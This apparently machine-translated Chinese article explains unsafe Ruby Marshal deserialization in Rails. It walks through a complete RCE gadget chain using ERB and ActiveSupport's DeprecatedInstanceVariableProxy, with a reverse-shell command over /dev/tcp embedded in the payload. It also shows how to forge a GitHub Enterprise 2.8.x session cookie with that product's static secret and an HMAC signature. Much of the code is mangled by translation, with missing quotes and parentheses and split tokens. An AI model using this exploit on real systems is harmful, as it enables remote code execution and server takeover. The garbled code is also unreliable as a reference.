前言

Ruby on Rails是一个流行的应用程序平台,它使用cookie来识别应用程序会话。

cookie由两部分组成:cookie-value和signature。每当Rails获取cookie时,它通过验证发送的cookie值的哈希/签名是否与发送的签名匹配来验证cookie是否未被篡改。用于检索内容的解组cookie通常包含三个逻辑步骤:

url_decoded_cookie = CGI :: unescapecookie_value
b64_decoded_session = Base64.decode64url_decoded_cookie
session = Marshal.loadb64_decoded_session

在许多白盒Ruby on Rails项目的审计过程中,我们一次又一次地遇到了元组反序列化的不安全使用。虽然会话cookie反序列化是一个严重的问题,但是有一整类的解组错误可能导致远程执行代码(RCE)。所有情况都是相似的:解组cookie,一些GET-POST数据或用户会话中的任何类型的数据。例如:

ifdata = @cookies [user_data])。present
userinfo = Marshal.loadBase64.decode64data))

这种调用demarshalling是使用反序列化机制的一个非常危险的例子,因为它可能直接导致任意代码执行。这是最终目标,但首先,我们需要构建在访问时运行的代码。

PoC创建

第一步是使用一些erb模板解析器,如ERB或Erubis,它在GitHub Enterprise中使用。src变量的实例可能包含纯Ruby代码; 因此,我们可以在此处放置有效负载,并使用将要执行的代码。

erb = ERB.allocate
erb.instance_variable_set :@src, %x();

https://github.com/ruby/ruby/blob/trunk/lib/erb.rb#L875:

738: class ERB

852: # Generate results and print them. (see ERB#result)
853: def run(b=new_toplevel)
854: print self.result(b)
855: end

865: def result(b=new_toplevel)

875: eval(@src, b, (@filename || (erb)), @lineno)
876: end
877: end

or

erb = Erubis::Eruby.allocate
erb.instance_variable_set :@src, %x{};

https://github.com/kwatch/erubis/blob/master/lib/erubis/evaluator.rb#L65:

10: module Erubis

44: module RubyEvaluator

52: ## eval(@src) with binding object
53: def result(_binding_or_hash=TOPLEVEL_BINDING)

65: return eval(@src, _b, (@filename || (erubis))

查看用于执行有效负载的评估程序的源代码,我们需要在创建erb对象之后调用结果方法。我们不能直接影响执行过程; 因此,我们需要在解组过程中以某种方式强制调用结果方法。InstanceVariableProxy类可以帮助我们解决这类问题。ActiveSupport模块包含一种特殊的机制,用于标记过时的方法并对其进行更改,以使其现在可以正常工作。这叫做ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy。

简单地说,这个机制与解释者交谈:“嘿,伙计。不再支持此方法。请使用这个并运行。“

089: class DeprecatedInstanceVariableProxy < DeprecationProxy
090: def initialize(instance, method, var = “@#{method}”, deprecator = ActiveSupport::Deprecation.instance)
091: @instance = instance
092: @method = method

098: def target
099: @instance.__send__(@method)

102: def warn(callstack, called, args)
103: @deprecator.warn(#{@var} is deprecated! Call #{@method}.#{called} instead of #{@var}.#{called}. Args: #{args.inspect}”, callstack)

因此,我们可以使用它来弃用实例变量; 运行该实例变量后,它将丢弃警告消息并调用新方法。这正是我们在这一步所需要的。

class ActiveSupport
class Deprecation
def initialize()
@silenced = true
end
class DeprecatedInstanceVariableProxy
def initialize(instance, method)
   @instance = instance
     @method = method
        @deprecator = ActiveSupport::Deprecation.new
        end
     end
   end
end
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
depr.instance_variable_set :@instance, erb
depr.instance_variable_set :@method, :result
depr.instance_variable_set :@var, @result
depr.instance_variable_set :@deprecator, ActiveSupport::Deprecation.new

或者 depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erubis, :result)

在这一步,如果我们尝试访问depr对象,我们将运行代码。

现在我们可以使用Marshal.dump序列化已完成的对象,并使用base64函数进行编码。

payload = Base64.encode64(Marshal.dump(depr)).gsub(\n, “”)
puts payload

将所有步骤组合到源代码中

requirebase64 
requireerb 
class ActiveSupport 
class Deprecation 
def initialize()
@silenced = true 
end
class DeprecatedInstanceVariableProxy 
def initializeinstancemethod
  @instance = instance 
     @method = method 
        @deprecator = ActiveSupport :: Deprecation.new 
        end 
     end 
  end 
end
erb = ERB.allocate 
erb.instance_variable_set@src,“%xbash -i>/ dev / tcp/127.0.0.1 / 1337 0>1; 
erb.instance_variable_set:@ lineno1337
depr = ActiveSupport :: Deprecation :: DeprecatedInstanceVariableProxy.allocate 
depr.instance_variable_set:@ instanceerb 
depr.instance_variable_set:@ method,:result 
depr.instance_variable_set
@ var,“ @ result  depr.instance_variable_set:@ predecatorActiveSupport :: Deprecation .new 
payload = Base64.encode64Marshal.dumpdepr))。gsub(“\ n”,“”)

加载payload

你可以在repl.it代码平台运行

去年在GitHub Enterprise 2.8.0 < 2.8.6产品中发现了类似的错误。会话cookie标志有一个静态会话密钥,cookie本身就是Marshal对象。

/data/enterprise-manage/current/config.ru :

62: # Enable sessions
63: use Rack::Session::Cookie,
64: :key => _gh_manage,
65: :path => /,
66: :expire_after => 1800, # 30 minutes in seconds
67: :secret => ENV[ENTERPRISE_SESSION_SECRET] || 641dd6454584ddabfed6342cc66281fb

首先,使用上述漏洞利用代码创建DeprecatedInstanceVariableProxy对象。

session = {session_id => “”, exploit => proxy}

之后,我们需要编组会话变量,编码和HMAC使用我们的SECRET密钥641dd6454584ddabfed6342cc66281fb签署其SHA1摘要。

dump = [Marshal.dump(session)].pack(m)

hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, dump)

最后,编码有效负载并使用 - 分隔符对连接进行签名,然后将请求作为cookie头发送。

rqst[‘Cookie’] = “_gh_manage=#{CGI.escape(“#{dump} — #{hmac}”)}”

图1. 成功利用GitHub Enterprise 2.8.5
在修复了这个错误后的几个月,台湾研究员Orange Tsai发现了另一个包含像这样的反序列化漏洞的漏洞。该问题有四个链 - 通过远程SSRF到内部Graphite服务SSRF,然后到Python httplib.HTTPConnection模块内的CR-LF注入,然后从Memcache数据库对Ruby对象进行不安全的反序列化。攻击者可以存储使用相同漏洞利用生成的恶意对象,然后在从缓存Memcache中获取该对象后,Ruby gem会自动对其进行反序列化,这将导致代码执行。

图2. 成功利用GitHub Enterprise 2.8.6
成功利用后,攻击者可以使用此类错误在远程系统上运行任意代码。由于使用的广泛可能性,这样的错误导致生产中的严重问题。例如,加密矿工喜欢将这样的bug应用到他们的攻击库中以感染许多系统,以便受感染的系统可以成为僵尸网络的一部分。当然,如果易受攻击的应用程序从目标系统上的高权限用户运行,问题将变得更加严重。留意!

参考

https://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles — Slides about marshalling and pickle serialization from OWASP AppSecCali 2015 by Christopher Frohoff

https://gist.github.com/niklasb/df9dba3097df536820888aeb4de3284f — Rails 5.1.4 YAML unsafe deserialization RCE payload

https://repl.it/@allyshka/Ruby-RCE-with-Marshalload — Ruby Marshal+Base64 RCE payload playground/generator

http://exablue.de/blog/2017-03-15-github-enterprise-remote-code-execution.html — GitHub Enterprise 2.8.0 < 2.8.6 RCE report and details

https://www.exploit-db.com/exploits/41616/ — GitHub Enterprise 2.8.0 < 2.8.6 RCE exploit

http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html — GitHub Enterprise 4-chained vulnerability. One of them is unsafe Marshal deserialization

源链接

Hacking more

...